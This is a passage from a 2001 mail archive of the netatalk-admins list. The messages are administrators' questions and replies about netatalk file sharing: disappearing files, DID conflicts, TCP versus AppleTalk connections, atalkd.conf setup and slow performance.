	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA09478
	for <netatalk-admins@umich.edu>; Wed, 18 Jul 2001 12:59:30 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GGOHV200.7KV for <netatalk-admins@umich.edu>; Wed, 18
          Jul 2001 18:59:26 +0200 
Sender: hollow@kingcreole.mr.itd.umich.edu
Message-ID: <3B55C06E.5660EDAA@fcb-wilkens.com>
Date: Wed, 18 Jul 2001 18:59:26 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: setting directory view
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello everyone,
I have a somewhjat large user base (about 200 concurrent users), and I want
to set the way directories are shown on client machines so that it does not change
after some people had been working their way throgh the directory hierarchy.

How can I accomplish this, ideally in a sane fashion on the netatalk server
itself? (in other words: Is it possible to set folder appearance without using a
mac and can I fix the folder appearance after having set it to a way _I_ think
sane, i.e. all folders closed and the window contents displayed completely?)

Regards,
	Harald 
-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Thu Jul 19 03:27:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA26909
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 03:27:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA10881
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 03:27:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA10865
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 03:27:25 -0400 (EDT)
Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA10844
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 03:27:24 -0400 (EDT)
Received: from faxserver ([63.34.214.243]) by mta02.mail.mel.aone.net.au
          with ESMTP
          id <20010719072735.VMD8316.mta02.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 17:27:35 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15N7vr-0003zZ-00
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 17:09:11 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 19 Jul 2001 17:09:11 +1000
Subject: DID & trashed files
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: <netatalk-admins@umich.edu>
Message-ID: <B77CC4B7.21F8%editor.ac@churchesofchrist.org.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

I am running Netatalk 1.4.99-0.20000927 on an intel 486 box (Debian Linux,
kernel version 2.2.1) with two Macs connected (running system 8.1. and 8.6).
Mostly this has been quite reliable, but today we found that a file copy
caused the Finder to freeze and the files in the netatalk shared folder to
be trashed (almost all were deleted).

When looking in the syslog I found two error messages which may be relevant.
Repeated many times was: afpd: Warning DID conflict ... are these the same
file. Also in the logs there was an afpd error: afpd-enumerate: stat ... No
such file or directory.

Occasionally I have had problems with the G4 (system 8.6) with unexpected
disconnection from the Appleshare volume. Since the 8.1 machine was
continuing fine on the same volume, I assume it was a problem with the G4.
Now I'm not so sure.

I noted the discussion regarding DID conflict at the end of last year in the
mailing list archive and wondered if there are any solutions/workarounds.

TIA
Nigel.


From netatalk.administrators-errors@umich.edu  Thu Jul 19 03:50:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA27341
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 03:50:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA03756
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 03:50:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA03740
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 03:50:31 -0400 (EDT)
Received: from lavender.ad ([203.111.74.199])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA03683
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 03:50:28 -0400 (EDT)
Received: from JobBag (203.111.74.196) by lavender.ad with ESMTP (Eudora
 Internet Mail Server 3.0) for <netatalk-admins@umich.edu>; Thu, 19 Jul
 2001 17:50:39 +1000
Subject: DISAPPEARING FOLDERS - HELP!
From: Claire van Heyningen <claire@lavender.ad>
To: netatalk-admins@umich.edu
Content-Type: text/plain
X-Mailer: Evolution (0.9 - Preview Release)
Date: 19 Jul 2001 17:49:55 +1000
Mime-Version: 1.0
Message-ID: <1216593457-415693568@lavender.ad>

Hi,

I'm running netatalk-1.4.99-0.20001108mdk on Madrake Linux 7.2.

I'm having major problems with files and folders randomly disappearing
from our file server.  It used to happen every now and again, and we'd
simply retrieve the files from back-up, assuming it to be user error
(with no offence intended to the users!).  However, it's started
happening much more frequently, with no apparent rhyme or reason.

I've checked the log files, and nothing untoward is being reported.

Today, a user created a new folder on our server and an hour later it
had disappeared without a trace.  Because it was created and lost so
quickly, obviously we didn't have a chance to back the new data up (we
back up every night).

I don't know whether this is a netatalk issue, but it seemed like as
good a place to start as any. 

If anyone has any idea whatsoever, please let me know a.s.a.p. as I'm
desperate and my managing director's a bit over it all ...

Thanks muchly,
Claire.


From netatalk.administrators-errors@umich.edu  Thu Jul 19 04:24:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA28049
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 04:23:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA18134
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 04:23:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA18129
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 04:23:59 -0400 (EDT)
Received: from green.csi.cam.ac.uk (green.csi.cam.ac.uk [131.111.8.57])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA18115
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 04:23:58 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by green.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 15N96D-0006lL-00
	for netatalk-admins@umich.edu; Thu, 19 Jul 2001 09:23:57 +0100
Date: Thu, 19 Jul 2001 09:23:57 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@green.csi.cam.ac.uk>
To: <netatalk-admins@umich.edu>
Subject: Re: Appletalk connection ONLY?
In-Reply-To: <01071816433500.21182@athlet>
Message-ID: <Pine.SOL.4.33.0107190908280.20472-100000@green.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Thanks for the response,

My afpd.conf is
 default:
 - -transall -uamlist uams_guest.so,uams_clrtxt.so,uams_dhx.so
-nosavepassword

-transall should start AFPD over TCP & AppleTalk. ASIP appears to start in
the logs and I get no error on a failed ip connection. Is there something
the redhat rpm install does that I have omitted? Could someone send me a
1.5pre6 configuration that they have working on a 7.1 system so as I can
check it against mine. I suspect my problem may not be with netatalk.

All the best

Ian.

./configure \
--prefix=/usr/local/netatalk \
--sysconfdir=/etc/atalk \
--with-config-dir=/etc/atalk \
--with-tcp-wrappers \
--mandir=/usr/local/man \
--with-ssl-dir=/usr/include/openssl \
--disable-admin-group \
--with-shadow \
--with-pam \
--enable-lastdid \
--with-flock-locks \
--enable-redhat



On Wed, 18 Jul 2001, Carsten Neumann wrote:

> On Wed, 18 Jul 2001, Ian Hitchman wrote:
> > Dear Netatalk Users,
> >
> > I appear to only be able to connect by AppleTalk. Any attempt to connect
> > by TCP/IP gives the error "No response from the server". Could someone
> > help me with this. I believe my TCP wrappers are OK as they work no an
> > rpm-netatalk installed machine. atalk/afpd.conf is default.
> > /etc/rc.d/init.d/atalk was copied from distrib/initscripts/atalk.
> >
> > All the best,
> >
> > Ian.
>
> It seems you haven't enabled TCP connections in your /etc/atalk/afpd.conf.
> It is explained in this file.
>
> HTH
>
> Best regards
>
> 	Carsten
>
>


From netatalk.administrators-errors@umich.edu  Thu Jul 19 08:10:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA02468
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 08:10:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA21992
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 08:10:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA21986
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 08:10:30 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA21970
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 08:10:29 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.3/8.11.3) with ESMTP id f6JCAPQ20801;
	Thu, 19 Jul 2001 08:10:25 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210103b77c7e028eb6@[216.155.36.73]>
Date: Thu, 19 Jul 2001 08:10:25 -0400
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Appletalk and OSX Fix? - FYI
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-RRT-Status: UNKNOWN



	 I noticed this on Apple's Mac OS X page today.  It's 
regarding SMB and AFP with Mac OS X.  Apple will have a patch out in 
September upgrading OS X to OS 10.1:

***
	Networking is also more compatible: Mac OS X version 10.1 now 
includes the ability to connect to AFP servers over AppleTalk making 
it easier to integrate Mac OS X into legacy networks with older 
AppleShare servers and Windows NT servers. We've also added support 
to natively connect to Windows NT, Windows 2000 and Unix-based SAMBA 
file servers with the built-in SMB client. These servers appear right 
in the Finder like any other file server. This makes Mac OS X fluent 
in all of today's network languages.

***

The lack of classic appletalk was one of the main reasons we don't 
have Mac OS X machines on our network.  Maybe this will change things.

Ryan
__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The only truly secure system is one that is
powered off, cast in a block of concrete and
sealed in a lead-lined room with armed
guards -- and even then I have my doubts.
-Gene Spafford

From netatalk.administrators-errors@umich.edu  Thu Jul 19 09:10:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA04474
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 09:10:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA21782
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 09:09:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA21766
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 09:09:54 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA21732
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 09:09:51 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id QAA15887
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 16:09:56 +0300 (EET DST)
Date: Thu, 19 Jul 2001 16:09:56 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: netatalk-admins@umich.edu
Subject: Poor netatalk performance
Message-ID: <Pine.OSF.4.21.0107191551420.11733-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I'm running netatalk 1.5-pre6 in a Redhat 7.1 box with a latest 2.4.6
kernel compiled. I'm able to run the netatalk ok, but the performance is
really poor. It's about 20k/sec which probably isn't normal. All other
services in the same box are running fine. I have no idea what's causing
this. I tried to create a separate Mac-only volume with no help. My box 
has to NIC's and there's no AppleTalk router in the network. And also i'm
getting these weird permission errors in my log:

afpd[5443]: setdirowner: chown 16777216/-1 .: Operation not permitted

Here's the startup log of netatalk:

atalkd[5429]: restart (1.5pre6)
atalkd[5429]: zip_getnetinfo for eth0
last message repeated 2 times
atalkd[5429]: as_timer multiple interfaces, no seed
atalkd[5429]: as_timer can't configure eth0
atalkd[5429]: as_timer waiting for router
atalkd[5429]: ready 0/0/0
atalk: atalkd startup succeeded
atalk: afpd startup succeeded
afpd[5436]: Can't register Pingviini:AFPServer@*
afpd[5436]: ASIP started on 192.168.0.1:548(0) (1.
afpd[5436]: uam: uams_randnum.so loaded
afpd[5436]: uam: "2-Way Randnum exchange" available
afpd[5436]: uam: "Randnum exchange" available

If anyone could help I would be more than happy. I'm middle of a little
crisis here since a harddrive of an important volume set got lost on a NT4
Server and therefore we're migrating to a Linux/netatalk-solution.


From netatalk.administrators-errors@umich.edu  Thu Jul 19 09:26:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA05188
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 09:26:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA28117
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 09:26:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA28108
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 09:26:29 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA28098
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 09:26:28 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA22048;
	Thu, 19 Jul 2001 15:39:34 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 19 Jul 2001 15:26:03 +0200
Subject: Re: Poor netatalk performance
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>, Lasse Lehtinen <blob@sgic.fi>,
        <netatalk-admins@umich.edu>
Message-ID: <B77CAC8B.EAFA%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.OSF.4.21.0107191551420.11733-100000@Platon.sgic.fi>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 19 Jul 2001 16:09:56 +0300 (EET DST), Lasse Lehtinen wrote:

> My box has to NIC's and there's no AppleTalk router in the network.
             ^^
You mean 2 NICs?

Which Models and which driver are you using?

Please post your atalkd.conf. Looks like an AppleTalk configuration problem.

regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jul 19 09:36:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA05513
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 09:36:01 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA22368
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 09:36:01 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22363
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 09:36:00 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA22324
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 09:35:58 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id QAA31873;
	Thu, 19 Jul 2001 16:35:52 +0300 (EET DST)
Date: Thu, 19 Jul 2001 16:35:52 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: Lasse Lehtinen <lasse.lehtinen@iki.fi>, netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
In-Reply-To: <B77CAC8B.EAFA%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.OSF.4.21.0107191627450.8588-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 19 Jul 2001, Thomas Kaiser wrote:

> > My box has to NIC's and there's no AppleTalk router in the network.
>              ^^
> You mean 2 NICs?

Yes, it was a typo :)
 
> Which Models and which driver are you using?

[root@server /root]# cat /proc/pci | grep Ethernet
  Ethernet controller: 3Com Corporation 3c905B 100BaseTX [Cyclone] (rev 48).
  Ethernet controller: 3Com Corporation 3c905C-TX [Fast Etherlink] (rev 116).
[root@server /root]#

The driver for both cards is:

"3c590/3c900 series (592/595/597) "Vortex/Boomerang" support"

in the 2.4.6 kernel. It's CONFIG_VORTEX in the Makefile. The netatalk 
binds itself to the second NIC, as you can see from the previous email.

> Please post your atalkd.conf. Looks like an AppleTalk configuration problem.

The atalkd.conf has nothing else but the comments, since i'm not very
familiar about AppleTalk and so on. I tried to read the man pages but they
don't explain too much. So I left the config untouched.


From netatalk.administrators-errors@umich.edu  Thu Jul 19 09:50:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA06201
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 09:50:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA19591
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 09:50:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA19573
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 09:50:36 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA19556
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 09:50:35 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA22330;
	Thu, 19 Jul 2001 16:04:50 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 19 Jul 2001 15:51:20 +0200
Subject: Re: Poor netatalk performance
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>, Lasse Lehtinen <blob@sgic.fi>
CC: <netatalk-admins@umich.edu>
Message-ID: <B77CB275.EB01%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.OSF.4.21.0107191627450.8588-100000@Platon.sgic.fi>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA06201

Hi,

> The atalkd.conf has nothing else but the comments

If you want to use both NICs für AppleTalk you must configure them (netatalk
will be an appletalk router afterwards)

I would recommend the following:

eth0 -seed -phase 2 -net 1-1000 -addr 1000.142 -zone "eth0"
eth1 -seed -phase 2 -net 1001-2000 -addr 2000.142 -zone "eth1"

Note: Your AppleTalk Network will then routed, so the AppleTalk Devices have
to use addresses not from within the AppleTalk startup range. It might be
necessary to open the AppleTalk control panel on any Mac and to close it
afterwards. Then your Macs will assign theirselves new addresses in the
given network range (you can control it via "nbplkup" on the linux host)

If your problems disappear and you don't want to publish zones, then replace
both '-zone "ethx"' switches with '-zone "*"' (zone mapping)

If you want to use appletalk only on one NIC you have to supply _one_ entry
without the '-seed' switch, eg. "eth0 -phase 2". This NIC will then be
autoconfigured (might be a problem with your 3Coms if they are not multicast
capable -- I don't know)

regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jul 19 11:35:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA09074
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 11:35:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA20254
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 11:35:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA20233
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 11:35:35 -0400 (EDT)
Received: from vampire.lavielle.com (vampire.lavielle.com [194.64.21.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA20098
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 11:35:28 -0400 (EDT)
Received: from mail.bauer.com ([194.233.182.111])
	by vampire.lavielle.com (8.9.3/8.9.3) with ESMTP id RAA21960
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 17:35:27 +0200 (MET DST)
Received: from hbv.de (hjebsen.bauer.com [172.28.28.42])
	by mail.bauer.com (Postfix) with ESMTP id 88BB2AE9
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 17:35:24 +0200 (MEST)
Sender: root@hbv.de
Message-ID: <3B56FE3B.88FE0230@hbv.de>
Date: Thu, 19 Jul 2001 17:35:23 +0200
From: Henning Jebsen <hjebsen@hbv.de>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: de, en
MIME-Version: 1.0
Cc: netatalk-admins@umich.edu
Subject: AFP over Appletalk or over IP ? --> Performance
References: <B77CB275.EB01%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Folks,
I am working with netatalk 1.5. Our server gives access to afp over
IP and Appletalk (-transall in afpd.conf) If a client takes the chooser
to connect the Server, it gets a AFP over Appletalk-Connection. (you can see
it by pressing Apple-I onto the Volume)
If the client connects by IP-Adress it gets the AFP over TCP/IP connect.

The difference between both methods is *performance*. AFP over
appletalk is *much* slower (about 3-4 times slower)

The funny thing is, that clients which connects to another server,
always get IP-Connection, regardless if they did it by Chooser
or IP-Adress...

Now my question:
Ho can I force AFP-connections to be established over IP  instead of Appletalk
??
I found no parameter to do that....
(I dont want to *disable* Appletalk, the volumes have to appear in the Chooser)

Thanks for any hints

--
mailto: hjebsen@hbv.de  (Henning Jebsen)
org:    Heinrich Bauer Verlag
phone:  +49-40-3019-5525




From netatalk.administrators-errors@umich.edu  Thu Jul 19 12:04:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA09826
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 12:04:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA08579
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 12:03:56 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA08557
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 12:03:55 -0400 (EDT)
Received: from web11505.mail.yahoo.com (web11505.mail.yahoo.com [216.136.172.37])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA08525
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 12:03:54 -0400 (EDT)
Message-ID: <20010719160343.83139.qmail@web11505.mail.yahoo.com>
Received: from [62.31.69.67] by web11505.mail.yahoo.com via HTTP; Thu, 19 Jul 2001 09:03:43 PDT
Date: Thu, 19 Jul 2001 09:03:43 -0700 (PDT)
From: Matthew Lynch <mattlynch@yahoo.com>
Reply-To: matt@twotrack.com
Subject: subscribe
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

 
 

__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/

From netatalk.administrators-errors@umich.edu  Thu Jul 19 13:05:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA11838
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 13:05:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA09937
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 13:05:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA09915
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 13:05:15 -0400 (EDT)
Received: from blueyonder.co.uk (pcow025o.blueyonder.co.uk [195.188.53.125])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA09857
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 13:05:12 -0400 (EDT)
Received: from pc-62-31-69-67-ed.blueyonder.co.uk ([62.31.69.67]) by blueyonder.co.uk  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Thu, 19 Jul 2001 18:05:12 +0100
Received: from [192.168.1.7] (FIRM007 [192.168.1.7])
	by pc-62-31-69-67-ed.blueyonder.co.uk (8.11.2/8.8.7) with ESMTP id f6JH4iL27449
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 18:04:44 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 19 Jul 2001 18:04:05 +0100
Subject: printing problems: 'lp_open failed' error
From: Matt Lynch <matt@firmmagazine.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B77CD194.2AC%matt@firmmagazine.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
